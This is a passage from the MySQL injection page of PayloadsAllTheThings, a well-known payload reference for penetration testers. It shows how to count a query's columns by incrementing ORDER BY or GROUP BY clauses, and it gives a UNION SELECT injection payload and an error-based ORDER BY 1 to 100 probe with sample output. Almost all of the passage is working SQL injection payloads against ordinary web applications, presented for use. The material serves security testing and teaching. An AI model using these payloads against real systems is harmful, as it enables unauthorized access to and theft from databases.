Keep incrementing the number until you get a `False` response. Even though `GROUP BY` and `ORDER BY` have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. | ORDER BY | GROUP BY | Result | | --------------- | --------------- | ------ | | `ORDER BY 1--+` | `GROUP BY 1--+` | True | | `ORDER BY 2--+` | `GROUP BY 2--+` | True | | `ORDER BY 3--+` | `GROUP BY 3--+` | True | | `ORDER BY 4--+` | `GROUP BY 4--+` | False | Since the result is false for `ORDER BY 4`, it means the SQL query is only having 3 columns. In the `UNION` based SQL injection, you can `SELECT` arbitrary data to display on the page: `-1' UNION SELECT 1,2,3--+`. Similar to the previous method, we can check the number of columns with one request if error showing is enabled.
ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause'Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.